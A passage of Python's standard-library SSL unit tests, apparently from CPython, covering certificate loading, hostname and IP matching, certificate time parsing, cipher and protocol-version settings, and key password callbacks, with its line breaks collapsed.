sock: ssl.wrap_socket(sock, certfile=NONEXISTINGCERT, keyfile=NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) def bad_cert_test(self, certfile): """Check that trying to use the given client certificate fails""" certfile = os.path.join(os.path.dirname(__file__) or os.curdir, certfile) sock = socket.socket() self.addCleanup(sock.close) with self.assertRaises(ssl.SSLError): test_wrap_socket(sock, certfile=certfile) def test_empty_cert(self): """Wrapping with an empty cert file""" self.bad_cert_test("nullcert.pem") def test_malformed_cert(self): """Wrapping with a badly formatted certificate (syntax error)""" self.bad_cert_test("badcert.pem") def test_malformed_key(self): """Wrapping with a badly formatted key (syntax error)""" self.bad_cert_test("badkey.pem") def test_match_hostname(self): def ok(cert, hostname): ssl.match_hostname(cert, hostname) def fail(cert, hostname): self.assertRaises(ssl.CertificateError, ssl.match_hostname, cert, hostname) # -- Hostname matching -- cert = {'subject': ((('commonName', 'example.com'),),)} ok(cert, 'example.com') ok(cert, 'ExAmple.cOm') fail(cert, 'www.example.com') fail(cert, '.example.com') fail(cert, 'example.org') fail(cert, 'exampleXcom') cert = {'subject': ((('commonName', '*.a.com'),),)} ok(cert, 'foo.a.com') fail(cert, 'bar.foo.a.com') fail(cert, 'a.com') fail(cert, 'Xa.com') fail(cert, '.a.com') # only match wildcards when they are the only thing # in left-most segment cert = {'subject': ((('commonName', 'f*.com'),),)} fail(cert, 'foo.com') fail(cert, 'f.com') fail(cert, 'bar.com') fail(cert, 'foo.a.com') fail(cert, 'bar.foo.com') # NULL bytes are bad, CVE-2013-4073 cert = {'subject': ((('commonName', 'null.python.org\x00example.org'),),)} ok(cert, 'null.python.org\x00example.org') # or raise an error? fail(cert, 'example.org') fail(cert, 'null.python.org') # error cases with wildcards cert = {'subject': ((('commonName', '*.*.a.com'),),)} fail(cert, 'bar.foo.a.com') fail(cert, 'a.com') fail(cert, 'Xa.com') fail(cert, '.a.com') cert = {'subject': ((('commonName', 'a.*.com'),),)} fail(cert, 'a.foo.com') fail(cert, 'a..com') fail(cert, 'a.com') # wildcard doesn't match IDNA prefix 'xn--' idna = 'püthon.python.org'.encode("idna").decode("ascii") cert = {'subject': ((('commonName', idna),),)} ok(cert, idna) cert = {'subject': ((('commonName', 'x*.python.org'),),)} fail(cert, idna) cert = {'subject': ((('commonName', 'xn--p*.python.org'),),)} fail(cert, idna) # wildcard in first fragment and IDNA A-labels in sequent fragments # are supported. idna = 'www*.pythön.org'.encode("idna").decode("ascii") cert = {'subject': ((('commonName', idna),),)} fail(cert, 'www.pythön.org'.encode("idna").decode("ascii")) fail(cert, 'www1.pythön.org'.encode("idna").decode("ascii")) fail(cert, 'ftp.pythön.org'.encode("idna").decode("ascii")) fail(cert, 'pythön.org'.encode("idna").decode("ascii")) # Slightly fake real-world example cert = {'notAfter': 'Jun 26 21:41:46 2011 GMT', 'subject': ((('commonName', 'linuxfrz.org'),),), 'subjectAltName': (('DNS', 'linuxfr.org'), ('DNS', 'linuxfr.com'), ('othername', '<unsupported>'))} ok(cert, 'linuxfr.org') ok(cert, 'linuxfr.com') # Not a "DNS" entry fail(cert, '<unsupported>') # When there is a subjectAltName, commonName isn't used fail(cert, 'linuxfrz.org') # A pristine real-world example cert = {'notAfter': 'Dec 18 23:59:59 2011 GMT', 'subject': ((('countryName', 'US'),), (('stateOrProvinceName', 'California'),), (('localityName', 'Mountain View'),), (('organizationName', 'Google Inc'),), (('commonName', 'mail.google.com'),))} ok(cert, 'mail.google.com') fail(cert, 'gmail.com') # Only commonName is considered fail(cert, 'California') # -- IPv4 matching -- cert = {'subject': ((('commonName', 'example.com'),),), 'subjectAltName': (('DNS', 'example.com'), ('IP Address', '10.11.12.13'), ('IP Address', '14.15.16.17'), ('IP Address', '127.0.0.1'))} ok(cert, '10.11.12.13') ok(cert, '14.15.16.17') # socket.inet_ntoa(socket.inet_aton('127.1')) == '127.0.0.1' fail(cert, '127.1') fail(cert, '14.15.16.17 ') fail(cert, '14.15.16.17 extra data') fail(cert, '14.15.16.18') fail(cert, 'example.net') # -- IPv6 matching -- if support.IPV6_ENABLED: cert = {'subject': ((('commonName', 'example.com'),),), 'subjectAltName': ( ('DNS', 'example.com'), ('IP Address', '2001:0:0:0:0:0:0:CAFE\n'), ('IP Address', '2003:0:0:0:0:0:0:BABA\n'))} ok(cert, '2001::cafe') ok(cert, '2003::baba') fail(cert, '2003::baba ') fail(cert, '2003::baba extra data') fail(cert, '2003::bebe') fail(cert, 'example.net') # -- Miscellaneous -- # Neither commonName nor subjectAltName cert = {'notAfter': 'Dec 18 23:59:59 2011 GMT', 'subject': ((('countryName', 'US'),), (('stateOrProvinceName', 'California'),), (('localityName', 'Mountain View'),), (('organizationName', 'Google Inc'),))} fail(cert, 'mail.google.com') # No DNS entry in subjectAltName but a commonName cert = {'notAfter': 'Dec 18 23:59:59 2099 GMT', 'subject': ((('countryName', 'US'),), (('stateOrProvinceName', 'California'),), (('localityName', 'Mountain View'),), (('commonName', 'mail.google.com'),)), 'subjectAltName': (('othername', 'blabla'), )} ok(cert, 'mail.google.com') # No DNS entry subjectAltName and no commonName cert = {'notAfter': 'Dec 18 23:59:59 2099 GMT', 'subject': ((('countryName', 'US'),), (('stateOrProvinceName', 'California'),), (('localityName', 'Mountain View'),), (('organizationName', 'Google Inc'),)), 'subjectAltName': (('othername', 'blabla'),)} fail(cert, 'google.com') # Empty cert / no cert self.assertRaises(ValueError, ssl.match_hostname, None, 'example.com') self.assertRaises(ValueError, ssl.match_hostname, {}, 'example.com') # Issue #17980: avoid denials of service by refusing more than one # wildcard per fragment. cert = {'subject': ((('commonName', 'a*b.example.com'),),)} with self.assertRaisesRegex( ssl.CertificateError, "partial wildcards in leftmost label are not supported"): ssl.match_hostname(cert, 'axxb.example.com') cert = {'subject': ((('commonName', 'www.*.example.com'),),)} with self.assertRaisesRegex( ssl.CertificateError, "wildcard can only be present in the leftmost label"): ssl.match_hostname(cert, 'www.sub.example.com') cert = {'subject': ((('commonName', 'a*b*.example.com'),),)} with self.assertRaisesRegex( ssl.CertificateError, "too many wildcards"): ssl.match_hostname(cert, 'axxbxxc.example.com') cert = {'subject': ((('commonName', '*'),),)} with self.assertRaisesRegex( ssl.CertificateError, "sole wildcard without additional labels are not support"): ssl.match_hostname(cert, 'host') cert = {'subject': ((('commonName', '*.com'),),)} with self.assertRaisesRegex( ssl.CertificateError, r"hostname 'com' doesn't match '\*.com'"): ssl.match_hostname(cert, 'com') # extra checks for _inet_paton() for invalid in ['1', '', '1.2.3', '256.0.0.1', '127.0.0.1/24']: with self.assertRaises(ValueError): ssl._inet_paton(invalid) for ipaddr in ['127.0.0.1', '192.168.0.1']: self.assertTrue(ssl._inet_paton(ipaddr)) if support.IPV6_ENABLED: for ipaddr in ['::1', '2001:db8:85a3::8a2e:370:7334']: self.assertTrue(ssl._inet_paton(ipaddr)) def test_server_side(self): # server_hostname doesn't work for server sockets ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) with socket.socket() as sock: self.assertRaises(ValueError, ctx.wrap_socket, sock, True, server_hostname="some.hostname") def test_unknown_channel_binding(self): # should raise ValueError for unknown type s = socket.create_server(('127.0.0.1', 0)) c = socket.socket(socket.AF_INET) c.connect(s.getsockname()) with test_wrap_socket(c, do_handshake_on_connect=False) as ss: with self.assertRaises(ValueError): ss.get_channel_binding("unknown-type") s.close() @unittest.skipUnless("tls-unique" in ssl.CHANNEL_BINDING_TYPES, "'tls-unique' channel binding not available") def test_tls_unique_channel_binding(self): # unconnected should return None for known type s = socket.socket(socket.AF_INET) with test_wrap_socket(s) as ss: self.assertIsNone(ss.get_channel_binding("tls-unique")) # the same for server-side s = socket.socket(socket.AF_INET) with test_wrap_socket(s, server_side=True, certfile=CERTFILE) as ss: self.assertIsNone(ss.get_channel_binding("tls-unique")) def test_dealloc_warn(self): ss = test_wrap_socket(socket.socket(socket.AF_INET)) r = repr(ss) with self.assertWarns(ResourceWarning) as cm: ss = None support.gc_collect() self.assertIn(r, str(cm.warning.args[0])) def test_get_default_verify_paths(self): paths = ssl.get_default_verify_paths() self.assertEqual(len(paths), 6) self.assertIsInstance(paths, ssl.DefaultVerifyPaths) with support.EnvironmentVarGuard() as env: env["SSL_CERT_DIR"] = CAPATH env["SSL_CERT_FILE"] = CERTFILE paths = ssl.get_default_verify_paths() self.assertEqual(paths.cafile, CERTFILE) self.assertEqual(paths.capath, CAPATH) @unittest.skipUnless(sys.platform == "win32", "Windows specific") def test_enum_certificates(self): self.assertTrue(ssl.enum_certificates("CA")) self.assertTrue(ssl.enum_certificates("ROOT")) self.assertRaises(TypeError, ssl.enum_certificates) self.assertRaises(WindowsError, ssl.enum_certificates, "") trust_oids = set() for storename in ("CA", "ROOT"): store = ssl.enum_certificates(storename) self.assertIsInstance(store, list) for element in store: self.assertIsInstance(element, tuple) self.assertEqual(len(element), 3) cert, enc, trust = element self.assertIsInstance(cert, bytes) self.assertIn(enc, {"x509_asn", "pkcs_7_asn"}) self.assertIsInstance(trust, (frozenset, set, bool)) if isinstance(trust, (frozenset, set)): trust_oids.update(trust) serverAuth = "1.3.6.1.5.5.7.3.1" self.assertIn(serverAuth, trust_oids) @unittest.skipUnless(sys.platform == "win32", "Windows specific") def test_enum_crls(self): self.assertTrue(ssl.enum_crls("CA")) self.assertRaises(TypeError, ssl.enum_crls) self.assertRaises(WindowsError, ssl.enum_crls, "") crls = ssl.enum_crls("CA") self.assertIsInstance(crls, list) for element in crls: self.assertIsInstance(element, tuple) self.assertEqual(len(element), 2) self.assertIsInstance(element[0], bytes) self.assertIn(element[1], {"x509_asn", "pkcs_7_asn"}) def test_asn1object(self): expected = (129, 'serverAuth', 'TLS Web Server Authentication', '1.3.6.1.5.5.7.3.1') val = ssl._ASN1Object('1.3.6.1.5.5.7.3.1') self.assertEqual(val, expected) self.assertEqual(val.nid, 129) self.assertEqual(val.shortname, 'serverAuth') self.assertEqual(val.longname, 'TLS Web Server Authentication') self.assertEqual(val.oid, '1.3.6.1.5.5.7.3.1') self.assertIsInstance(val, ssl._ASN1Object) self.assertRaises(ValueError, ssl._ASN1Object, 'serverAuth') val = ssl._ASN1Object.fromnid(129) self.assertEqual(val, expected) self.assertIsInstance(val, ssl._ASN1Object) self.assertRaises(ValueError, ssl._ASN1Object.fromnid, -1) with self.assertRaisesRegex(ValueError, "unknown NID 100000"): ssl._ASN1Object.fromnid(100000) for i in range(1000): try: obj = ssl._ASN1Object.fromnid(i) except ValueError: pass else: self.assertIsInstance(obj.nid, int) self.assertIsInstance(obj.shortname, str) self.assertIsInstance(obj.longname, str) self.assertIsInstance(obj.oid, (str, type(None))) val = ssl._ASN1Object.fromname('TLS Web Server Authentication') self.assertEqual(val, expected) self.assertIsInstance(val, ssl._ASN1Object) self.assertEqual(ssl._ASN1Object.fromname('serverAuth'), expected) self.assertEqual(ssl._ASN1Object.fromname('1.3.6.1.5.5.7.3.1'), expected) with self.assertRaisesRegex(ValueError, "unknown object 'serverauth'"): ssl._ASN1Object.fromname('serverauth') def test_purpose_enum(self): val = ssl._ASN1Object('1.3.6.1.5.5.7.3.1') self.assertIsInstance(ssl.Purpose.SERVER_AUTH, ssl._ASN1Object) self.assertEqual(ssl.Purpose.SERVER_AUTH, val) self.assertEqual(ssl.Purpose.SERVER_AUTH.nid, 129) self.assertEqual(ssl.Purpose.SERVER_AUTH.shortname, 'serverAuth') self.assertEqual(ssl.Purpose.SERVER_AUTH.oid, '1.3.6.1.5.5.7.3.1') val = ssl._ASN1Object('1.3.6.1.5.5.7.3.2') self.assertIsInstance(ssl.Purpose.CLIENT_AUTH, ssl._ASN1Object) self.assertEqual(ssl.Purpose.CLIENT_AUTH, val) self.assertEqual(ssl.Purpose.CLIENT_AUTH.nid, 130) self.assertEqual(ssl.Purpose.CLIENT_AUTH.shortname, 'clientAuth') self.assertEqual(ssl.Purpose.CLIENT_AUTH.oid, '1.3.6.1.5.5.7.3.2') def test_unsupported_dtls(self): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.addCleanup(s.close) with self.assertRaises(NotImplementedError) as cx: test_wrap_socket(s, cert_reqs=ssl.CERT_NONE) self.assertEqual(str(cx.exception), "only stream sockets are supported") ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) with self.assertRaises(NotImplementedError) as cx: ctx.wrap_socket(s) self.assertEqual(str(cx.exception), "only stream sockets are supported") def cert_time_ok(self, timestring, timestamp): self.assertEqual(ssl.cert_time_to_seconds(timestring), timestamp) def cert_time_fail(self, timestring): with self.assertRaises(ValueError): ssl.cert_time_to_seconds(timestring) @unittest.skipUnless(utc_offset(), 'local time needs to be different from UTC') def test_cert_time_to_seconds_timezone(self): # Issue #19940: ssl.cert_time_to_seconds() returns wrong # results if local timezone is not UTC self.cert_time_ok("May 9 00:00:00 2007 GMT", 1178668800.0) self.cert_time_ok("Jan 5 09:34:43 2018 GMT", 1515144883.0) def test_cert_time_to_seconds(self): timestring = "Jan 5 09:34:43 2018 GMT" ts = 1515144883.0 self.cert_time_ok(timestring, ts) # accept keyword parameter, assert its name self.assertEqual(ssl.cert_time_to_seconds(cert_time=timestring), ts) # accept both %e and %d (space or zero generated by strftime) self.cert_time_ok("Jan 05 09:34:43 2018 GMT", ts) # case-insensitive self.cert_time_ok("JaN 5 09:34:43 2018 GmT", ts) self.cert_time_fail("Jan 5 09:34 2018 GMT") # no seconds self.cert_time_fail("Jan 5 09:34:43 2018") # no GMT self.cert_time_fail("Jan 5 09:34:43 2018 UTC") # not GMT timezone self.cert_time_fail("Jan 35 09:34:43 2018 GMT") # invalid day self.cert_time_fail("Jon 5 09:34:43 2018 GMT") # invalid month self.cert_time_fail("Jan 5 24:00:00 2018 GMT") # invalid hour self.cert_time_fail("Jan 5 09:60:43 2018 GMT") # invalid minute newyear_ts = 1230768000.0 # leap seconds self.cert_time_ok("Dec 31 23:59:60 2008 GMT", newyear_ts) # same timestamp self.cert_time_ok("Jan 1 00:00:00 2009 GMT", newyear_ts) self.cert_time_ok("Jan 5 09:34:59 2018 GMT", 1515144899) # allow 60th second (even if it is not a leap second) self.cert_time_ok("Jan 5 09:34:60 2018 GMT", 1515144900) # allow 2nd leap second for compatibility with time.strptime() self.cert_time_ok("Jan 5 09:34:61 2018 GMT", 1515144901) self.cert_time_fail("Jan 5 09:34:62 2018 GMT") # invalid seconds # no special treatment for the special value: # 99991231235959Z (rfc 5280) self.cert_time_ok("Dec 31 23:59:59 9999 GMT", 253402300799.0) @support.run_with_locale('LC_ALL', '') def test_cert_time_to_seconds_locale(self): # `cert_time_to_seconds()` should be locale independent def local_february_name(): return time.strftime('%b', (1, 2, 3, 4, 5, 6, 0, 0, 0)) if local_february_name().lower() == 'feb': self.skipTest("locale-specific month name needs to be " "different from C locale") # locale-independent self.cert_time_ok("Feb 9 00:00:00 2007 GMT", 1170979200.0) self.cert_time_fail(local_february_name() + " 9 00:00:00 2007 GMT") def test_connect_ex_error(self): server = socket.socket(socket.AF_INET) self.addCleanup(server.close) port = support.bind_port(server) # Reserve port but don't listen s = test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED) self.addCleanup(s.close) rc = s.connect_ex((HOST, port)) # Issue #19919: Windows machines or VMs hosted on Windows # machines sometimes return EWOULDBLOCK. errors = ( errno.ECONNREFUSED, errno.EHOSTUNREACH, errno.ETIMEDOUT, errno.EWOULDBLOCK, ) self.assertIn(rc, errors) class ContextTests(unittest.TestCase): def test_constructor(self): for protocol in PROTOCOLS: ssl.SSLContext(protocol) ctx = ssl.SSLContext() self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertRaises(ValueError, ssl.SSLContext, -1) self.assertRaises(ValueError, ssl.SSLContext, 42) def test_protocol(self): for proto in PROTOCOLS: ctx = ssl.SSLContext(proto) self.assertEqual(ctx.protocol, proto) def test_ciphers(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.set_ciphers("ALL") ctx.set_ciphers("DEFAULT") with self.assertRaisesRegex(ssl.SSLError, "No cipher can be selected"): ctx.set_ciphers("^$:,;?*'dorothyx") @unittest.skipUnless(PY_SSL_DEFAULT_CIPHERS == 1, "Test applies only to Python default ciphers") def test_python_ciphers(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ciphers = ctx.get_ciphers() for suite in ciphers: name = suite['name'] self.assertNotIn("PSK", name) self.assertNotIn("SRP", name) self.assertNotIn("MD5", name) self.assertNotIn("RC4", name) self.assertNotIn("3DES", name) @unittest.skipIf(ssl.OPENSSL_VERSION_INFO < (1, 0, 2, 0, 0), 'OpenSSL too old') def test_get_ciphers(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.set_ciphers('AESGCM') names = set(d['name'] for d in ctx.get_ciphers()) self.assertIn('AES256-GCM-SHA384', names) self.assertIn('AES128-GCM-SHA256', names) def test_options(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) # OP_ALL | OP_NO_SSLv2 | OP_NO_SSLv3 is the default value default = (ssl.OP_ALL | ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3) # SSLContext also enables these by default default |= (OP_NO_COMPRESSION | OP_CIPHER_SERVER_PREFERENCE | OP_SINGLE_DH_USE | OP_SINGLE_ECDH_USE | OP_ENABLE_MIDDLEBOX_COMPAT) self.assertEqual(default, ctx.options) ctx.options |= ssl.OP_NO_TLSv1 self.assertEqual(default | ssl.OP_NO_TLSv1, ctx.options) if can_clear_options(): ctx.options = (ctx.options & ~ssl.OP_NO_TLSv1) self.assertEqual(default, ctx.options) ctx.options = 0 # Ubuntu has OP_NO_SSLv3 forced on by default self.assertEqual(0, ctx.options & ~ssl.OP_NO_SSLv3) else: with self.assertRaises(ValueError): ctx.options = 0 def test_verify_mode_protocol(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) # Default value self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) ctx.verify_mode = ssl.CERT_OPTIONAL self.assertEqual(ctx.verify_mode, ssl.CERT_OPTIONAL) ctx.verify_mode = ssl.CERT_REQUIRED self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) ctx.verify_mode = ssl.CERT_NONE self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) with self.assertRaises(TypeError): ctx.verify_mode = None with self.assertRaises(ValueError): ctx.verify_mode = 42 ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) self.assertFalse(ctx.check_hostname) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self.assertTrue(ctx.check_hostname) def test_hostname_checks_common_name(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertTrue(ctx.hostname_checks_common_name) if ssl.HAS_NEVER_CHECK_COMMON_NAME: ctx.hostname_checks_common_name = True self.assertTrue(ctx.hostname_checks_common_name) ctx.hostname_checks_common_name = False self.assertFalse(ctx.hostname_checks_common_name) ctx.hostname_checks_common_name = True self.assertTrue(ctx.hostname_checks_common_name) else: with self.assertRaises(AttributeError): ctx.hostname_checks_common_name = True @requires_minimum_version @unittest.skipIf(IS_LIBRESSL, "see bpo-34001") def test_min_max_version(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # OpenSSL default is MINIMUM_SUPPORTED, however some vendors like # Fedora override the setting to TLS 1.0. minimum_range = { # stock OpenSSL ssl.TLSVersion.MINIMUM_SUPPORTED, # Fedora 29 uses TLS 1.0 by default ssl.TLSVersion.TLSv1, # RHEL 8 uses TLS 1.2 by default ssl.TLSVersion.TLSv1_2 } self.assertIn( ctx.minimum_version, minimum_range ) self.assertEqual( ctx.maximum_version, ssl.TLSVersion.MAXIMUM_SUPPORTED ) ctx.minimum_version = ssl.TLSVersion.TLSv1_1 ctx.maximum_version = ssl.TLSVersion.TLSv1_2 self.assertEqual( ctx.minimum_version, ssl.TLSVersion.TLSv1_1 ) self.assertEqual( ctx.maximum_version, ssl.TLSVersion.TLSv1_2 ) ctx.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED ctx.maximum_version = ssl.TLSVersion.TLSv1 self.assertEqual( ctx.minimum_version, ssl.TLSVersion.MINIMUM_SUPPORTED ) self.assertEqual( ctx.maximum_version, ssl.TLSVersion.TLSv1 ) ctx.maximum_version = ssl.TLSVersion.MAXIMUM_SUPPORTED self.assertEqual( ctx.maximum_version, ssl.TLSVersion.MAXIMUM_SUPPORTED ) ctx.maximum_version = ssl.TLSVersion.MINIMUM_SUPPORTED self.assertIn( ctx.maximum_version, {ssl.TLSVersion.TLSv1, ssl.TLSVersion.SSLv3} ) ctx.minimum_version = ssl.TLSVersion.MAXIMUM_SUPPORTED self.assertIn( ctx.minimum_version, {ssl.TLSVersion.TLSv1_2, ssl.TLSVersion.TLSv1_3} ) with self.assertRaises(ValueError): ctx.minimum_version = 42 ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_1) self.assertIn( ctx.minimum_version, minimum_range ) self.assertEqual( ctx.maximum_version, ssl.TLSVersion.MAXIMUM_SUPPORTED ) with self.assertRaises(ValueError): ctx.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED with self.assertRaises(ValueError): ctx.maximum_version = ssl.TLSVersion.TLSv1 @unittest.skipUnless(have_verify_flags(), "verify_flags need OpenSSL > 0.9.8") def test_verify_flags(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # default value tf = getattr(ssl, "VERIFY_X509_TRUSTED_FIRST", 0) self.assertEqual(ctx.verify_flags, ssl.VERIFY_DEFAULT | tf) ctx.verify_flags = ssl.VERIFY_CRL_CHECK_LEAF self.assertEqual(ctx.verify_flags, ssl.VERIFY_CRL_CHECK_LEAF) ctx.verify_flags = ssl.VERIFY_CRL_CHECK_CHAIN self.assertEqual(ctx.verify_flags, ssl.VERIFY_CRL_CHECK_CHAIN) ctx.verify_flags = ssl.VERIFY_DEFAULT self.assertEqual(ctx.verify_flags, ssl.VERIFY_DEFAULT) # supports any value ctx.verify_flags = ssl.VERIFY_CRL_CHECK_LEAF | ssl.VERIFY_X509_STRICT self.assertEqual(ctx.verify_flags, ssl.VERIFY_CRL_CHECK_LEAF | ssl.VERIFY_X509_STRICT) with self.assertRaises(TypeError): ctx.verify_flags = None def test_load_cert_chain(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Combined key and cert in a single file ctx.load_cert_chain(CERTFILE, keyfile=None) ctx.load_cert_chain(CERTFILE, keyfile=CERTFILE) self.assertRaises(TypeError, ctx.load_cert_chain, keyfile=CERTFILE) with self.assertRaises(OSError) as cm: ctx.load_cert_chain(NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_cert_chain(BADCERT) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_cert_chain(EMPTYCERT) # Separate key and cert ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(ONLYCERT, ONLYKEY) ctx.load_cert_chain(certfile=ONLYCERT, keyfile=ONLYKEY) ctx.load_cert_chain(certfile=BYTES_ONLYCERT, keyfile=BYTES_ONLYKEY) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_cert_chain(ONLYCERT) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_cert_chain(ONLYKEY) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_cert_chain(certfile=ONLYKEY, keyfile=ONLYCERT) # Mismatching key and cert ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) with self.assertRaisesRegex(ssl.SSLError, "key values mismatch"): ctx.load_cert_chain(CAFILE_CACERT, ONLYKEY) # Password protected key and cert ctx.load_cert_chain(CERTFILE_PROTECTED, password=KEY_PASSWORD) ctx.load_cert_chain(CERTFILE_PROTECTED, password=KEY_PASSWORD.encode()) ctx.load_cert_chain(CERTFILE_PROTECTED, password=bytearray(KEY_PASSWORD.encode())) ctx.load_cert_chain(ONLYCERT, ONLYKEY_PROTECTED, KEY_PASSWORD) ctx.load_cert_chain(ONLYCERT, ONLYKEY_PROTECTED, KEY_PASSWORD.encode()) ctx.load_cert_chain(ONLYCERT, ONLYKEY_PROTECTED, bytearray(KEY_PASSWORD.encode())) with self.assertRaisesRegex(TypeError, "should be a string"): ctx.load_cert_chain(CERTFILE_PROTECTED, password=True) with self.assertRaises(ssl.SSLError): ctx.load_cert_chain(CERTFILE_PROTECTED, password="badpass") with self.assertRaisesRegex(ValueError, "cannot be longer"): # openssl has a fixed limit on the password buffer. # PEM_BUFSIZE is generally set to 1kb. # Return a string larger than this. ctx.load_cert_chain(CERTFILE_PROTECTED, password=b'a' * 102400) # Password callback def getpass_unicode(): return KEY_PASSWORD def getpass_bytes(): return KEY_PASSWORD.encode() def getpass_bytearray(): return bytearray(KEY_PASSWORD.encode()) def getpass_badpass(): return "badpass" def getpass_huge(): return b'a' * (1024 * 1024) def getpass_bad_type(): return 9 def getpass_exception(): raise Exception('getpass error') class GetPassCallable: def __call__(self): return KEY_PASSWORD def getpass(self): return KEY_PASSWORD ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_unicode) ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_bytes) ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_bytearray) ctx.load_cert_chain(CERTFILE_PROTECTED, password=GetPassCallable()) ctx.load_cert_chain(CERTFILE_PROTECTED, password=GetPassCallable().getpass) with self.assertRaises(ssl.SSLError): ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_badpass) with self.assertRaisesRegex(ValueError, "cannot be longer"): ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_huge) with self.assertRaisesRegex(TypeError, "must return a string"): ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_bad_type) with self.assertRaisesRegex(Exception, "getpass error"): ctx.load_cert_chain(CERTFILE_PROTECTED, password=getpass_exception) # Make sure the password function isn't called if it isn't needed ctx.load_cert_chain(CERTFILE, password=getpass_exception) def test_load_verify_locations(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_verify_locations(CERTFILE) ctx.load_verify_locations(cafile=CERTFILE, capath=None) ctx.load_verify_locations(BYTES_CERTFILE) ctx.load_verify_locations(cafile=BYTES_CERTFILE, capath=None) self.assertRaises(TypeError, ctx.load_verify_locations) self.assertRaises(TypeError, ctx.load_verify_locations, None, None, None) with self.assertRaises(OSError) as cm: ctx.load_verify_locations(NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_verify_locations(BADCERT) ctx.load_verify_locations(CERTFILE, CAPATH) ctx.load_verify_locations(CERTFILE, capath=BYTES_CAPATH) # Issue #10989: crash if the second argument type is invalid self.assertRaises(TypeError, ctx.load_verify_locations, None, True) def test_load_verify_cadata(self): # test cadata with open(CAFILE_CACERT) as f: cacert_pem = f.read() cacert_der = ssl.PEM_cert_to_DER_cert(cacert_pem) with open(CAFILE_NEURONIO) as f: neuronio_pem = f.read() neuronio_der = ssl.PEM_cert_to_DER_cert(neuronio_pem) # test PEM ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 0) ctx.load_verify_locations(cadata=cacert_pem) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 1) ctx.load_verify_locations(cadata=neuronio_pem) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # cert already in hash table ctx.load_verify_locations(cadata=neuronio_pem) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # combined ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) combined = "\n".join((cacert_pem, neuronio_pem)) ctx.load_verify_locations(cadata=combined) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # with junk around the certs ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) combined = ["head", cacert_pem, "other", neuronio_pem, "again", neuronio_pem, "tail"] ctx.load_verify_locations(cadata="\n".join(combined)) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # test DER ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_verify_locations(cadata=cacert_der) ctx.load_verify_locations(cadata=neuronio_der) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # cert already in hash table ctx.load_verify_locations(cadata=cacert_der) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # combined ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) combined = b"".join((cacert_der, neuronio_der)) ctx.load_verify_locations(cadata=combined) self.assertEqual(ctx.cert_store_stats()["x509_ca"], 2) # error cases ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertRaises(TypeError, ctx.load_verify_locations, cadata=object) with self.assertRaisesRegex(ssl.SSLError, "no start line"): ctx.load_verify_locations(cadata="broken") with self.assertRaisesRegex(ssl.SSLError, "not enough data"): ctx.load_verify_locations(cadata=b"broken") @unittest.skipIf(Py_DEBUG_WIN32, "Avoid mixing debug/release CRT on Windows") def test_load_dh_params(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_dh_params(DHFILE) if os.name != 'nt': ctx.load_dh_params(BYTES_DHFILE) self.assertRaises(TypeError, ctx.load_dh_params) self.assertRaises(TypeError, ctx.load_dh_params, None) with self.assertRaises(FileNotFoundError) as cm: 